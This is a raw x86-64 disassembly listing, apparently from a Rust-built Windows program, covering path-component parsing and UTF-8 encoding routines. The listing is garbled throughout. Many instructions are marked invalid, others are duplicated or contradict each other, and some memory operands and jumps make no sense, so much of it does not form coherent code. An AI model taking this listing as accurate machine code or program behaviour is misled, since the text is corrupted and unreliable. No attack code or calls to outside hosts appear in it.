mov edi, 0xf1afa80
cmp dword [rdx - 0x73000000], 0x50
lahf
lea edx, [rax - 0x61]
cmp dl, 0x1a
setb dl
shl dl, 5
loop case.0x140126626.649
xor dl, al
mov byte [rcx], 5
mov byte [rcx + 1], dl
jmp 0x14014e9df
mov r10, r8
add r10, 0xfffffffffffffffe
je 0x14014e9dc
lea rax, [rdx + 2]
add cl, byte [rax - 0x7d]
ret 0x4903
add rdx, 3
add r8, 0xfffffffffffffffc
add eax, 0xfffffffc
add eax, 0xfffffffc
xor r9d, r9d
nop word [rax + rax]
nop dword [rax + rax]
add byte [rax], al
add byte [rdi + rcx - 0x4a], al
pop rdx
inc dword [rcx - 0x7d]
sti
movzx r11d, byte [rdx - 1]
cmp r11d, 0x2f
invalid
je 0x14014e982
invalid
cmp r11d, 0x5c
je 0x14014e982
invalid
adc dword [rcx - 1], ecx
ror dword [rax - 1], 0xc2
inc ecx
inc rdx
dec r8
cmp r8, 0xfffffffffffffffe
jne case.0x14011ca0b.755
jmp 0x14014e9dc
lea r11, [r9 + 1]
sub r10, r11
je 0x14014e9dc
add byte [rax], al
movzx edi, byte [rdx + rsi]
cmp edi, 0x2f
jmp [rdi]
je 0x14014e9bd
jmp [rdi]
cmp edi, 0x5c
je 0x14014e9bd
lea rdi, [rsi + 1]
add rsi, r8
add esi, eax
add esi, eax
mov rsi, rdi
jne case.0x14011e950.739
mov rsi, r10
invalid
test r9, r9
je 0x14014e9dc
test rsi, rsi
test esi, esi
je 0x14014e9dc
mov byte [rcx], 4
mov qword [rcx + 8], rax
mov qword [rcx + 0x10], r9
mov qword [rcx + 0x18], r11
mov qword [rcx + 0x20], rsi
jmp 0x14014e9df
mov byte [rcx], 6
add rsp, 0x20
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
ret
cmp r8, 3
jbe 0x14014ebaf
je 0x14014ea1c
movzx r9d, byte [rdx + rax]
cmp r9d, 0x2f
je 0x14014ea1c
cmp r9d, 0x5c
cmp ecx, 0x5c
je 0x14014ea1c
inc rax
cmp r8, rax
ror byte [rcx + 0x39], 0xc0
jne 0x14014ea00
mov rax, r8
mov byte [rcx], 3
mov qword [rcx + 8], rdx
mov qword [rcx + 0x10], rax
adc bl, ch
invalid
adc bl, ch
mov dh, 0x48
cmp eax, 4
cmp rax, 4
jb 0x14014ebc8
and eax, 0xc
cmp eax, 4
je 0x14014eac0
add byte [rax - 0x73], cl
or byte [rcx + r9*4 - 0x3a], cl
lea r9, [0x1401ea218]
add rsi, 0xfffffffffffffff8
clc
clc
je 0x14014eb35
add rdx, 9
add r8, 0xfffffffffffffff6
xor r11d, r11d
or dword [rcx - 0x7d], ecx
sal dh, 0x45
xor ebx, ebx
xor r10d, r10d
rol byte [rax + 0xf5cff7a], cl
test byte [rax + rax - 0xb70000], ah
ret 0xff48
cmp byte [rdx - 1], 0x5c
je 0x14014eb4d
inc r10
inc rdx
dec r8
cmp r8, 0xfffffffffffffffe
jne 0x14014ea9f
mov r10, rsi
jmp 0x14014eb7e
xor al, byte [rax + 0x753a057a]
sub al, 0xf
mov dh, reloc.WS2_32.dll_recv
mov r10d, edx
and r10b, 0xdf
add r10b, 0xbf
cmp r10b, 0x19
ja 0x14014eb1f
lea eax, [rdx - 0x61]
cmp al, 0x1a
setb al
shl al, 5
xor al, dl
mov byte [rcx], 2
mov byte [rcx + 1], al
jmp 0x14014e9df
add r8, 0xfffffffffffffffc
xor edx, edx
cmp byte [rax + rdx], 0x5c
je 0x14014eb3a
invalid
cmovs edi, edi
ret 0x3949
inc rdx
cmp r8, rdx
jne 0x14014eb25
jmp 0x14014eb3d
xor r10d, r10d
jmp 0x14014eb7b
mov r9, rdx
mov byte [rcx], 0
add byte [rax - 0x77], cl
or byte [r9 + rcx*4 + 0x49], cl
adc cl, ch
xchg edx, eax
invalid
invalid
invalid
add byte [rax - 0x77], cl
or byte [r9 + rcx*4 + 0x49], cl
adc cl, ch
xchg edx, eax
invalid
lea r11, [r10 + 1]
lea r9, [rax + r10]
inc r9
sub rsi, r11
je 0x14014eb7b
neg r8
xor r11d, r11d
cmp byte [rdx + r11], 0x5c
je 0x14014eb7e
xor r11d, r11d
mov byte [rcx], 1
mov qword [rcx + 8], rax
mov qword [rcx + 0x10], r10
mov qword [rcx + 0x18], r9
mov qword [rcx + 0x20], r11
jmp 0x14014e9df
lea rax, str.library_std_src_syswindowspath.rs
mov ecx, 4
mov rdx, r8
mov r8, rax
call fcn.140186af0
ud2
lea r8, str.library_std_src_syswindowspath.rs
mov ecx, 4
mov rdx, rax
call fcn.1401869f0
ud2
cmp r13b, 3
je 0x14014eea2
mov rdi, rdx
movzx ebp, byte [rdx + 0x39]
cmp bpl, 3
cmp ch, 3
cmp ch, 3
je 0x14014eea2
cmp r13b, bpl
ja 0x14014eea2
mov rsi, qword [rdi]
mov r11, qword [rdi + 8]
pop rdi
or byte [rdi + rcx - 0x4a], al
movzx eax, byte [rdi + 0x10]
pop rdi
or byte [rdi + rcx - 0x4a], al
invalid
invalid
movzx eax, byte [rdi + 0x10]
adc byte [r9], r14b
ror byte [rcx - 0x7d], 0xf8
add ecx, dword [rdi]
xor eax, eax
cmp r8, 3
setae al
xchg ebx, eax
rol byte [rbp + rcx*4 + 0x74], 0x40
invalid
movzx r15d, byte [rdi + 0x3a]
mov rax, qword [rdi + 0x20]
and byte [r8 - 0x75], r9b
push rdi
xor byte [rbp + rcx*4 + 0x4a], cl
add dword [rax - 0x7b], ecx
ror byte [rdi + rcx + 0x44], cl
invalid
invalid
xchg ebx, eax
rol byte [rbp + rcx*4 + 0x74], 0x40
invalid
and byte [r8 - 0x75], r9b
push rdi
xor byte [rbp + rcx*4 + 0x4a], cl
add dword [rax - 0x7b], ecx
ror byte [rdi + rcx + 0x44], cl
retf 0x8d4a
retf 0x8d4a
lea rdx, [rax + r9 + 2]
mov qword [rsp + 0x30], rdx
xor byte [rdx - 0x73], cl
adc al, 8
xor byte [rdx - 0x73], cl
adc al, 8
lea edx, [rax + rcx]
add rdx, 8
mov qword [rsp + 0x28], rdx
push rsp
and al, 0x28
ret 0x4808
push rsp
and al, 0x28
add rax, 4
lea r12, [0x1401f0308]
mov rdx, r11
invalid
jmp case.0x14011e950.746
and al, 0x30
test r9, r9
jne case.0x14014e643.28
add al, byte [rax]
invalid
add al, byte [rax]
add dh, al
mov byte [rdi + 0x38], 1
mov byte [rdi + 0x38], 1
mov r13b, 1
mov ch, 1
mov r10, rsi
mov rsi, r10
cmp r13b, bpl
ja 0x14014eea2
test r13b, r13b
je 0x14014ed30
movzx r9d, r13b
cmp r9d, 1
jne 0x14014ed60
mov byte [rdi + 0x38], 2
test r15b, r15b
dec dword [rdi]
invalid
lodsd eax, dword [rsi]
add dword [rax], eax
invalid
dec dword [rdi]
test dword [rbp + 0x41000001], ebp
add dword [rax], eax
invalid
invalid
mov r13b, 2
mov ch, 2
cmp r8d, 3
jb 0x14014eca7
cmp r8d, 5
je 0x14014eca7
cmp r8d, 6
jne 0x14014eedc
test rdx, rdx
je 0x14014ee4d
test byte [rbp + 1], dl
add byte [rax], al
test byte [rbp + 1], dl
add byte [rax], al
add dword [rax], eax
add byte [rdi + rcx - 0x4a], al
invalid
movzx r9d, byte [rsi]
cmp rdx, 1
invalid
je 0x14014ee54
cmp r9b, 0x2e
jne 0x14014ee54
invalid
add byte [rdi + rcx - 0x4a], al
add qword [rcx - 0x7d], r8
stc
invalid
movzx r9d, byte [rsi + 1]
cmp r9d, 0x2f
je case.0x14014db1d.38
cmp r9d, 0x5c
jne 0x14014eca7
jmp case.0x14014db1d.38
nop dword [rax + rax]
cmp r8b, 6
je case.default.0x14014ed44
movsxd r10, dword [r12 + r8*4]
add r10, r12
mov r9, rax
jmp r10
cmp r9, 1
je 0x14014ee0f
mov bl, 9
cmp r9, 2
jne case.0x14014c670.419
cmp byte [rsi], 0x2e
jne case.0x14014c670.419
invalid
invalid
lea r11, [rsi + 1]
mov bl, 8
cmp byte [r11], 0x2e
cmp byte [rbx], 0x2e
movzx ebx, bl
mov r11d, 9
or dword [rax], eax
add byte [rax], al
add byte [rax], al
cmovne ebx, r11d
add r10, r9
add edx, ecx
mov r11, rdx
mov ebx, edx
sub r11, r10
jb 0x14014ef6b
invalid
cmp al, 1
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rcx + 1], cl
mov qword [rdi], r10
invalid
add r10, rsi
mov qword [rdi], r10
invalid
mov qword [rdi + 8], r11
mov r13b, 2
mov rdx, r11
fiadd dword [rax - 0x7bf0f505]
test byte [rdx - 2], ah
invalid
invalid
test byte [rdx - 2], ah
invalid
jmp 0x14014eed0
add byte [rax], al
xor edx, edx
jmp 0x14014eca7
cmp rdx, 1
jne 0x14014eca7
test dword [rcx - 2], ecx
invalid
invalid
test dword [rcx - 2], ecx
invalid
cmp r9b, 0x2e
cmp cl, 0x2e
stc
jne 0x14014eca7
jne 0x14014eca7
jne 0x14014eca7
test r11, r11
je case.0x14014e6ee.25
add byte [rax], al
add byte [rax], al
dec r11
inc rsi
inc esi
inc esi
mov qword [rdi], rsi
mov qword [rdi + 8], r11
mov dword [rdi + 8], ebx
mov dword [rdi + 8], ebx
pop rdi
or dh, al
mov byte [rcx], 7
mov byte [rcx], 7
jmp 0x14014eea5
test r11, r11
test ebx, ebx
fisttp dword [rdi]
test al, dh
add byte [rax], al
je 0x14014ef7c
add byte [rcx - 1], cl
retf
dec r11
inc rsi
invalid
mov qword [rdi], rsi
mov dword [rdi], esi
invalid
mov dword [rdi], esi
mov qword [rdi + 8], r11
mov byte [rcx], 6
add dword [rsi], eax
pop rdi
or dh, al
add dword [rsi], eax
jmp 0x14014eea5
cmp byte [rbx], al
add eax, esi
add dword [rdx], ecx
mov byte [rcx], 0xa
add rsp, 0x38
pop rbx
pop rbp
invalid
cmp byte [rbx + 0x5d], bl
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rdi
pop rdi
ret
mov byte [rdi + 0x38], 1
lea rdx, [0x1401f0320]
adc eax, 0xa145f
pop rdi
adc al, 0xa
add byte [rsi + 0x63], cl
invalid
invalid
movsxd r9, dword [rdx + r8*4]
or al, 0x82
invalid
add r9, rdx
jmp r9
jmp rcx
mov r9, rax
jmp 0x14014eefd
invalid
sub eax, 0x89481988
jno 0x14014eede
mov qword [rcx + 8], rsi
mov qword [rcx + 0x10], r9
jmp 0x14014eea5
adc bl, ch
leave
mov byte [rcx], 6
jmp 0x14014eea5
invalid
invalid
invalid
sub bl, ch
adc eax, 0x6b941
mov r9d, 6
jmp 0x14014eefd
cmp r9, r11
ja case.default.0x14014ef14
lea rdx, [0x1401f0338]
movsxd r10, dword [rdx + r8*4]
add r10, rdx
jmp r10
mov rax, qword [rsp + 0x28]
jmp case.0x14014ef14.0
mov eax, 6
jmp case.0x14014ef14.0
mov rax, qword [rsp + 0x30]
jmp case.0x14014ef14.0
mov eax, 2
mov rdx, r11
sub rdx, rax
jb 0x14014efa5
add rax, rsi
mov qword [rdi], rax
mov qword [rdi + 8], rdx
mov rax, qword [rdi + 0x30]
mov qword [rcx + 0x20], rax
movups xmm0, xmmword [rdi + 0x11]
movups xmm1, xmmword [rdi + 0x21]
movups xmmword [rcx + 0x11], xmm1
movups xmmword [rcx + 1], xmm0
mov byte [rcx], r8b
mov qword [rcx + 0x28], rsi
mov qword [rcx + 0x30], r9
xor cl, ch
cmp bh, bh
invalid
invalid
xor cl, ch
cmp bh, bh
invalid
lea r8, str.library_std_srcpath.rs
mov rcx, r10
call fcn.1401869f0
ud2
lea r8, str.library_std_srcpath.rs
mov ecx, 1
xor edx, edx
call fcn.1401869f0
ud2
invalid
lea r8, str.library_std_srcpath.rs
mov rcx, r9
mov rdx, r11
invalid
invalid
call fcn.140186af0
ud2
lea r8, str.library_std_srcpath.rs
mov rcx, rax
mov rdx, r11
call fcn.1401869f0
ud2
lea r8, str.library_std_srcpath.rs
lea eax, [0x1401c1be0]
mov ecx, 1
xor edx, edx
call fcn.1401869f0
ud2
mov rdi, rdx
mov rsi, rcx
movzx ecx, byte [rcx]
lea eax, [rcx - 6]
movzx r8d, al
lea rdx, [r8 + 1]
xor eax, eax
cmp r8b, 4
cmp al, 4
cmovae rdx, rax
rol byte [r15 + r9 - 0x4a], 1
invalid
lea r9d, [r8 - 6]
movzx r10d, r9b
lea r11, [r10 + 1]
cmp r10b, 4
cmp dl, 4
rol byte [r15 + r9 - 0x4a], 1
invalid
cmp dl, 4
cmovae r11, rax
cmp rdx, r11
fidiv dword [rbp + 0x76]
fidiv dword [rbp + 0x76]
mov al, 1
test rdx, rdx
je 0x14014f03b
mov r8, qword [rsi + 0x10]
cmp r8, qword [rdi + 0x10]
jne case.default.0x14014f054
pop rsi
mov rdx, qword [rdi + 8]
mov rcx, qword [rsi + 8]
or byte [rax - 0x75], cl
or al, r13b
mov ecx, 0x85000374
ror byte [rdi], 0x94
shr bl, 0x4c
cmp r9b, 4
add al, 0x72
invalid
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
sete al
jmp 0x14014f087
add al, 0x72
cmp cl, r8b
cmp cl, r8b
jne case.default.0x14014f054
lea rax, [0x1401f0350]
movsxd rcx, dword [rax + rcx*4]
add rcx, rax
jmp rcx
mov r8, qword [rsi + 0x10]
cmp r8, qword [rdi + 0x10]
jne case.default.0x14014f054
mov rdx, qword [rdi + 8]
mov rcx, qword [rsi + 8]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne case.default.0x14014f054
mov r8, qword [rsi + 0x20]
cmp r8, qword [rdi + 0x20]
cmp eax, dword [rdi + 0x20]
cmp eax, dword [rdi + 0x20]
jne case.default.0x14014f054
mov rdx, qword [rdi + 0x18]
mov rcx, qword [rsi + 0x18]
jmp 0x14014f02f
xor eax, eax
add rsp, 0x28
pop rdi
pop rsi
ret
movzx eax, byte [rsi + 1]
cmp al, byte [rdi + 1]
sete al
jmp 0x14014f087
xor ecx, ecx
nop word cs:[rax + rax]
movzx r9d, byte [rsi + rcx]
cmp r9d, 0x2f
je 0x14014f190
and byte [rsi + 0x2e], ah
nop dword [rax + rax]
mov r9d, 1
add dword [rax], eax
add byte [rax], al
invalid
test rcx, rcx
je 0x14014f1a6
cmp rcx, 1
jne 0x14014f1f9
cmp byte [rsi], 0x2e
jne 0x14014f1f9
add rcx, r9
cmp rdi, rcx
jb 0x14014f5de
invalid
add byte [rax + 1], cl
invalid
add rsi, rcx
sub rdi, rcx
jne 0x14014f150
xor edi, edi
jmp 0x14014f1f9
mov r9d, 1
test rcx, rcx
jne 0x14014f1f9
add rsi, r9
sub rdi, r9
je 0x14014f1ba
add byte [rax], al
add byte [rax], al
add byte [rax + 0x745c0e3c], al
fimul dword [rax - 1]
ror dword [rax + 0x39], 0xcf
iretd
cmp byte [rsi + rcx], 0x5c
je 0x14014f1c0
inc rcx
cmp rdi, rcx
iretd
jne 0x14014f1e0
xor r9d, r9d
mov rcx, rdi
test rcx, rcx
je 0x14014f1cb
mov qword [rsp + 0x20], rsi
mov qword [rsp + 0x28], rdi
cmp r8b, 2
jne 0x14014f589
test dl, dl
sete r10b
cmp dl, 1
ja 0x14014f252
test al, al
jne 0x14014f2c9
xor r8d, r8d
cmp r12b, 6
je 0x14014f249
test dl, dl
jne 0x14014f249
mov r8d, 2
cmp rdi, 2
cmp edi, 2
cmp edi, 2
jb 0x14014f628
cmp r8, rdi
clc
jne 0x14014f287
cmp dword [rcx], esi
leave
xor ecx, ecx
jmp 0x14014f2c9
xor ecx, ecx
xor r11d, r11d
jmp 0x14014f34c
add byte [rax], al
invalid
add byte [rax], al
add byte [rbp + 0x31], al
leave
mov r10d, 0
mov edi, 0
add byte [rax], al
add byte [rax], al
add byte [rdi], bh
add byte [rax], al
add byte [rax], al
mov ecx, 0
mov r11d, 0
mov ebx, 0
add byte [rcx - 0x45], al
add byte [rax], al
add byte [rax], al
mov ebx, 0
cmp r8b, 2
je 0x14014f34c
jmp 0x14014f589
add al, byte [rbx]
add byte [rax], al
lea rcx, [rsi + rdi]
lea r9, [rsi + r8]
or al, 6
or al, 6
inc r9
cmp r9, rcx
sete cl
movzx r8d, byte [rsi + r8]
test cl, 1
jne 0x14014f2be
invalid
sbb al, 0x41
cmp al, 0x2e
cmp r8b, 0x2e
jne 0x14014f2be
movzx ecx, byte [r9]
movzx ecx, byte [rcx]
or dword [rax + 0xf415cf9], eax
xchg esp, eax
rol byte [rax - 0x6bf0d007], 0xc1
xchg esp, eax
invalid
cmp cl, 0x5c
sete r8b
cmp cl, 0x2f
sete cl
xchg esp, eax
invalid
or cl, r8b
jmp 0x14014f2c9
cmp r8b, 0x2e
sete r8b
xchg esp, eax
invalid
and cl, r8b
and cl, al
xchg esp, eax
rol byte [rax + riz - 0x3f], 0x41
and cl, al
mov r9b, 1
and cl, al
mov r9b, 1
test dl, dl
je 0x14014f2d8
invalid
or byte [rbp + 0x31], al
rol byte [rbp + 0x31], cl
fucomi st(3)
je 0x14014f31a
xor r10d, r10d
xor r11d, r11d
fucomi st(3)
invalid
cmp r12b, 6
cmp ah, 6
jne 0x14014f2e3
xor r11d, r11d
jmp 0x14014f349
lea r8, [0x1401f0368]
movsxd r10, dword [r8 + r12*4]
invalid
adc byte [rdx], cl
add byte [rdi + 0x63], cl
adc al, 0xa0
invalid
movabs al, byte [0x8b4ce2ff41c2014d]
pop rsp
and al, 0x40
add r10, r8
jmp r10
mov r11, qword [rsp + 0x40]
mov ebx, dword [rsp + 0x40]
add r11, 4
jmp 0x14014f349
mov r8, qword [rsp + 0x40]
mov r10, qword [rsp + 0x50]
mov edx, dword [rsp + 0x50]
mov edx, dword [rsp + 0x50]
lea r11, [r10 + 1]
test r10, r10
cmove r11, r10
fimul dword [rbp + 1]
ret
add r11, 8
jmp 0x14014f349
fimul dword [rbp + 1]
ret
or bl, ch
sub al, 0x41
mov r11d, 6
mov r11d, 6
jmp 0x14014f349
mov r8, qword [rsp + 0x40]
mov r10, qword [rsp + 0x50]
mov edx, dword [rsp + 0x50]
mov edx, dword [rsp + 0x50]
lea r11, [r10 + 1]
test r10, r10
cmove r11, r10
add r11, r8
add r11, 2
jmp 0x14014f349
mov r11d, 2
mov r10b, 1
movzx ecx, cl
test al, al
setne r8b
and r8b, r9b
movzx r13d, r8b
add rcx, r11
add rcx, r13
cmp rdi, rcx
jbe 0x14014f589
test dl, dl
setne cl
cmp r12b, 6
sete r14b
setne bl
mov r8, qword [rsp + 0x50]
lea rdx, [r8 + 1]
test r8, r8
cmove rdx, r8
test r9b, r9b
je 0x14014f4d0
and bl, r10b
mov rbp, qword [rsp + 0x40]
lea r8, [rdx + rbp]
add r8, 2
mov qword [rsp + 0x68], r8
add rdx, rbp
add rdx, 8
mov qword [rsp + 0x60], rdx
add rbp, 4
add al, 0x41
cmp ah, 5
add al, 0x41
cmp ah, 5
jb 0x14014f516
add dword [rax], eax
add byte [rax + rax*8 + 0x14b850f], al
add byte [rax], al
invalid
test al, al
jne 0x14014f516
invalid
add byte [rcx + 8], al
invalid
or r14b, cl
jmp 0x14014f3e4
xor ecx, ecx
movzx eax, al
add rcx, r13
add rcx, rax
ror byte [rcx + rax - 0x17], 0x48
add ecx, eax
cmp rdi, rcx
cmp edi, ecx
jbe 0x14014f589
mov r15, rdi
lea rcx, [rsp + 0x70]
dec dword [rax - 0x73]
and al, 0x70
lea rdx, [rsp + 0x20]
call fcn.14014f640
cmp byte [rsp + 0x78], 0xa
and al, 0x78
invalid
and al, ch
add al, byte [rax]
add byte [rax + 0xa78247c], al
and al, 0x78
invalid
and al, 0x78
or cl, byte [rdi]
test dword [rbp + 0x4c000001], eax
jne 0x14014f586
mov rdi, r15
mov edi, edi
sub rdi, qword [rsp + 0x70]
jb 0x14014f603
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x77], cl
jl 0x14014f437
mov qword [rsp + 0x28], rdi
test r14b, r14b
je 0x14014f420
div byte [rdi + rax + 0x31]
leave
xor ecx, ecx
jmp 0x14014f42f
invalid
mov ecx, 2
cmp rdi, 2
add cl, byte [rdi]
invalid
invalid
add dword [rax], eax
invalid
add cl, byte [rdi]
invalid
add dword [rax], eax
add byte [rax + 0x39], cl
stc
jne case.0x14014eec8.24
xor eax, eax
test bl, bl
je 0x14014f3d0
jmp case.0x14014f2f1.7
lea rax, [rsi + rdi]
lea rdx, [rsi + rcx]
inc rdx
cmp rdx, rax
sete al
movzx ecx, byte [rsi + rcx]
mov dh, 0xc
invalid
test al, 1
jne case.0x14014e6ee.43
invalid
invalid
cmp cl, 0x2e
jne case.0x14014e6ee.43
movzx eax, byte [rdx]
cmp al, 0x5c
add bh, byte [rsp + rbx*2]
sete cl
cmp al, 0x2f
sete al
ror byte [rax], 0xc8
xchg esp, eax
sar dword [rdi + rbp], 0xf
cmp al, 0x2f
invalid
xchg esp, eax
ror byte [rax], 0xc8
test bl, bl
je 0x14014f3d0
test byte [rbx - 1], bl
invalid
invalid
test byte [rbx - 1], bl
invalid
pop rbx
invalid
invalid
jmp case.0x14014f2f1.7
nop dword [rax + rax]
add byte [rax], al
add byte [rax - 0x6bf0d107], al
shl dword [rax], 0xc8
and al, cl
cmp cl, 0x2e
sete cl
sete cl
and al, cl
test bl, bl
je 0x14014f3d0
invalid
invalid
invalid
invalid
invalid
invalid
lea rdx, [0x1401f0380]
movsxd rcx, dword [rdx + r12*4]
invalid
invalid
add byte [rdx + 0x63], cl
or al, 0xa2
invalid
movabs byte [0xe98948e1ffd10148], al
add rcx, rdx
jmp rcx
mov rcx, rbp
jmp 0x140141f90
jmp 0x14014f3d2
sub bh, bh
invalid
mov rcx, qword [rsp + 0x60]
mov ecx, dword [rsp + 0x60]
jmp 0x14014f3d2
and bh, bh
invalid
mov ecx, 6
jmp 0x14014f3d2
and al, 0x68
jmp 0x14014f3d2
invalid
invalid
add bh, bh
invalid
lea rbx, [rsp + 0x70]
and al, 0x70
lea r14, [rsp + 0x20]
nop word [rax + rax]
mov rcx, rbx
mov rdx, r14
mov edx, esi
mov edx, esi
call fcn.14014f640
cmp byte [rsp + 0x78], 0xa
jne 0x14014f589
xchg ebx, eax
add byte [rax], al
invalid
mov rcx, rdi
sub rcx, qword [rsp + 0x70]
and al, 0x70
and al, 0x70
jb 0x14014f5ef
mov qword [rsp + 0x28], rcx
mov rdi, rcx
mov edi, ecx
mov edi, ecx
cmp rcx, r13
ja 0x14014f4e0
mov rdi, rcx
jmp 0x14014f589
test bl, bl
je 0x14014f5a3
lea r14, [rsp + 0x20]
lea esi, [rsp + 0x20]
and byte [rax - 0x73], cl
sbb eax, 0xa0e6e
invalid
lea rbx, [0x1401f0398]
add bl, ch
or ecx, dword [rax - 0x77]
call 0x188fcf67f
add eax, ebp
cmp rdi, rax
jmp case.0x14014f054.23
add eax, ebp
cmp rdi, rax
jbe 0x14014f589
mov r15, rdi
lea rcx, [rsp + 0x70]
mov rdx, r14
bnd call fcn.14014f640
bnd call fcn.14014f640
cmp byte [rsp + 0x78], 0xa
jl 0x14014f56e
js 0x14014f556
jne 0x14014f586
mov rdi, r15
mov edi, edi
sub rdi, qword [rsp + 0x70]
jb 0x14014f603
mov qword [rsp + 0x28], rdi
movsxd rax, dword [rbx + r12*4]
add rax, rbx
jmp rax
invalid
mov rdi, r15
mov rax, rsi
mov rdx, rdi
add rsp, 0xb8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop rsi
pop r15
ret
lea rbx, [rsp + 0x70]
lea r14, [rsp + 0x20]
nop dword [rax]
mov rcx, rbx
mov rdx, r14
call fcn.14014f640
cmp byte [rsp + 0x78], 0xa
jl 0x14014f5e2
js 0x14014f5ca
jne 0x14014f589
lea r8, str.library_std_srcpath.rs
mov rdx, rdi
call fcn.1401869f0
ud2
mov r15, rdi
lea r8, str.library_std_srcpath.rs
mov rdx, r15
call fcn.140186af0
ud2
mov rcx, rdi
lea r8, str.library_std_srcpath.rs
mov rdx, r15
call fcn.140186af0
ud2
lea r8, str.library_std_srcpath.rs
mov ecx, 2
mov rdx, rdi
call fcn.1401869f0
ud2
jne 0x14014f730
cmp byte [rcx], 0x2e
jne 0x14014f730
invalid
xor eax, eax
cmp r8b, 3
setae al
lea eax, [rax + rax*2]
add eax, 7
jmp 0x14014f730
cmp dword [rsi], ebp
jne 0x14014f730
cmp byte [rcx + 1], 0x2e
sete al
sete al
xor al, 9
add r9, rdx
mov qword [rsi], r9
invalid
mov byte [rsi + 8], al
mov qword [rsi + 0x10], rcx
mov qword [rsi + 0x18], rdx
push rsi
sbb byte [rax - 0x7d], cl
invalid
invalid
invalid
sbb byte [rax - 0x7d], cl
invalid
add esp, 0x20
pop rbx
pop rdi
pop rsi
ret
mov ecx, eax
call fcn.1401869f0
ud2
and eax, dword [rdi]
add byte [rax - 0x77], cl
mov rcx, rax
invalid
xchg dword [rdx + 3], esi
mov rcx, rax
call fcn.1401869f0
ud2
add byte [rdi], cl
or ecx, esp
int3
int3
int3
movzx eax, byte [rcx + 0x3a]
cmp dh, byte [rcx]
sar byte [rcx + rax], cl
xor edx, edx
cmp al, 1
ja 0x14014f7cd
movzx r10d, byte [rcx + 0x10]
adc byte [rbp + 0xf], al
movzx r9d, r10b
mov dh, 0xca
test r8b, r8b
jne case.0x1400e7c73.1341
cmp r10b, 5
jb case.0x1400e7c73.1341
add eax, 0x8f820f
add byte [rax], al
mov r10, qword [rcx]
mov rdx, qword [rcx + 8]
mov edx, dword [rcx + 8]
mov edx, dword [rcx + 8]
xor r11d, r11d
test al, al
jne 0x14014f7c4
mov ebx, 2
cmp rdx, 2
jb 0x14014f8ae
invalid
add byte [rax], al
add byte [rax], al
invalid
add byte [rcx + 0x39], cl
sal dword [rbp + 0x26], cl
cmp r11, rdx
jne 0x14014f7ef
xor edx, edx
jmp case.0x1400e7c73.1341
xor r10d, r10d
cmp al, 2
setb cl
xchg edx, eax
invalid
movzx eax, dl
mov dh, 0xc2
test r8b, r8b
setne dl
and dl, cl
retf 0xb60f
retf 0x14c
invalid
ror byte [rdi], 0x95
ret 0xca20
invalid
retf 0xb60f
retf 0x14c
add rax, rcx
add rsp, 0x20
invalid
invalid
invalid
pop rsi
ret
add rdx, r10
lea rsi, [r10 + r11]
xor al, 0x1a
sbb cl, byte [rax - 1]
invalid
cmp rsi, rdx
cmp esi, edx
cmp esi, edx
sete dl
movzx r10d, byte [r10 + r11]
mov dh, setsockopt
sbb dh, dh
ret 0x7501
invalid
ret 0xf47
mov dh, setsockopt
sbb dh, dh
ret 0x7501
cmp r10b, 0x2e
jne case.0x14014f054.28
jne case.0x14014f054.28
movzx edx, byte [rsi]
cmp dl, 0x5c
sete r10b
xchg esp, eax
invalid
cmp dl, 0x2f
sete dl
ret 0x844
invalid
ret 0x844
or dl, dl
jmp case.0x1400e7c73.1341
cmp r10b, 0x2e
sete r10b
and dl, r10b
ret 0x2044
xor r10d, r10d
test al, al
jne case.default.0x14014f84a
rol byte [rax + rax*8 - 0x7fbe658b], cl
stc
cmp r9b, 6
je case.default.0x14014f84a
xchg esp, eax
invalid
xchg esp, eax
lea r10, [0x1401f03b0]
add byte [rdi + 0x63], cl
or al, 0x8a
movsxd r9, dword [r10 + r9*4]
add r9, r10
jmp r9
loope 0x14014f89a
mov r10, qword [rcx + 0x20]
mov edx, dword [rcx + 0x20]
add r10, 4
jmp case.default.0x14014f84a
ret 0xe904
mov r9, qword [rcx + 0x20]
mov ecx, dword [rcx + 0x20]
and byte [rax - 0x75], cl
xor byte [r13 + rcx*4 + 0x51], cl
add dword [rax - 0x7b], ecx
leave
mov rcx, qword [rcx + 0x30]
mov ecx, dword [rcx + 0x30]
lea r10, [rcx + 1]
test rcx, rcx
cmove r10, rcx
add r10, r9
add edx, ecx
add edx, ecx
add r10, 8
jmp case.default.0x14014f84a
invalid
invalid
mov r10d, 6
jmp case.default.0x14014f84a
invalid
mov r9, qword [rcx + 0x20]
mov rcx, qword [rcx + 0x30]
lea r10, [rcx + 1]
test rcx, rcx
leave
cmove r10, rcx
add r10, r9
add r10, 2
jmp case.default.0x14014f84a
invalid
invalid
invalid
mov r10d, 2
jmp case.default.0x14014f84a
lea r8, str.library_std_srcpath.rs
and al, byte [rdi]
add byte [rcx + 2], bh
mov ecx, 2
call fcn.1401869f0
ud2
int3
int3
sub esp, 0x30
xor byte [rax - 0x77], cl
mov rsi, rcx
mov dword [rsp + 0x2c], 0
cmp edx, 0x80
add byte [rax], al
add byte [rbx + 0xe], dh
invalid
add byte [rax], al
add byte [rbx + 0xe], dh
mov byte [rsp + 0x2c], dl
mov edi, 1
add byte [rax], al
add byte [rax], al
jmp 0x14014f97f
mov eax, edx
cmp edx, 0x800
jae 0x14014f91c
shr eax, 6
or al, 0xc0
mov byte [rsp + 0x2c], al
and al, 0x2c
and al, 0x2c
and dl, 0x3f
or dl, 0x80
mov byte [rsp + 0x2d], dl
and al, 0x2d
and al, 0x2d
mov edi, 2
jmp 0x14014f97f
cmp edx, 0xffff
ja 0x14014f94b
shr eax, 0xc
or al, 0xe0
mov byte [rsp + 0x2c], al
or al, 0xc
loopne case.0x1400e7c73.1349
and al, 0x2c
mov eax, edx
shr eax, 6
and al, 0x3f
or al, 0x80
invalid
mov byte [rsp + 0x2d], al
and al, 0x2d
or byte [rax - 0x7fd2dbbc], 0xe2
invalid
and al, 0x2d
and dl, 0x3f
or dl, 0x80
mov byte [rsp + 0x2e], dl
mov edi, 3
add byte [rax], al
add bl, ch
invalid
add byte [rax], al
add bl, ch
xor al, 0xc1
call 0x14c1c1d63
invalid
shr eax, 0x12
and al, 7
or al, 0xf0
mov byte [rsp + 0x2c], al
mov eax, edx
rol cl, 1
call 0x14c541d6a
or byte [rax - 0x76d2dbbc], 0xd0
rol cl, 1
